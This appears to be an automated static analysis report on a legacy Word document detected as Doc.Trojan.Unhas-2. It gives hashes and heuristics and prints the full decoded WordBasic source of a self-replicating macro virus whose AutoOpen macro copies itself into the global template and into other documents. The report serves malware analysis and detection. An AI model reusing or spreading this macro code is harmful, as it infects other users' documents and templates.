Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fc48f5251b92ec7f…

MALICIOUS

Office (OLE)

30.0 KB Created: 1998-04-18 21:06:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1cf919cb23ed5e4d09213d154f1b75ef SHA-1: 29b835512232c940538071d212d2021902e7b105 SHA-256: fc48f5251b92ec7f74dfd954d0964e43e3f6cfe84698d662c3953689a2955843
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains legacy WordBasic macros, specifically an AutoOpen macro, which is a known technique for executing malicious code upon document opening. The macros are designed to copy themselves and other embedded macros, indicating an attempt to spread or maintain persistence. The ClamAV detection 'Doc.Trojan.Unhas-2' further supports the malicious nature of the file.

Heuristics 4

  • ClamAV: Doc.Trojan.Unhas-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Unhas-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1727 bytes
SHA-256: 6eb8bb837c0f510269229559517a6b4da7aeef8d0e1cd069152708224143bca1
Detection
ClamAV: Doc.Trojan.Unhas-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim sMe$
Dim sTMacro$
sMe$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Name:=sMe$, Format:=1
sTMacro$ = sMe$ + ":JJAO"
WordBasic.MacroCopy sTMacro$, "Global:AutoOpen"
sTMacro$ = sMe$ + ":JJAO"
WordBasic.MacroCopy sTMacro$, "Global:JJAO"
sTMacro$ = sMe$ + ":JJAB"
WordBasic.MacroCopy sTMacro$, "Global:JJAB"
WordBasic.FileSaveAll 1, 1
WordBasic.MsgBox "Virus MS Word by Mashoer Majid, ELektro Teknik Unhas", -10
End Sub

Attribute VB_Name = "JJAO"

Public Sub MAIN()
Dim sMe$
Dim sTMacro$
sMe$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Name:=sMe$, Format:=1
sTMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy "Global:JJAB", sTMacro$
sTMacro$ = sMe$ + ":JJAB"
WordBasic.MacroCopy "Global:JJAB", sTMacro$
sTMacro$ = sMe$ + ":JJAO"
WordBasic.MacroCopy "Global:JJAO", sTMacro$
WordBasic.FileSaveAll 1, 1
WordBasic.MsgBox "Virus MS Word by Mashoer Majid, Elektro Teknik Unhas", -10
End Sub

Attribute VB_Name = "JJAB"

Public Sub MAIN()
Dim sMe$
Dim sTMacro$
sMe$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Name:=sMe$, Format:=1
sTMacro$ = sMe$ + ":JJAO"
WordBasic.MacroCopy sTMacro$, "Global:AutoOpen"
sTMacro$ = sMe$ + ":JJAO"
WordBasic.MacroCopy sTMacro$, "Global:JJAO"
sTMacro$ = sMe$ + ":JJAB"
WordBasic.MacroCopy sTMacro$, "Global:JJAB"
WordBasic.FileSaveAll 1, 1
WordBasic.MsgBox "Virus MS Word by Mashoer Majid, ELektro Teknik Unhas", -10
End Sub

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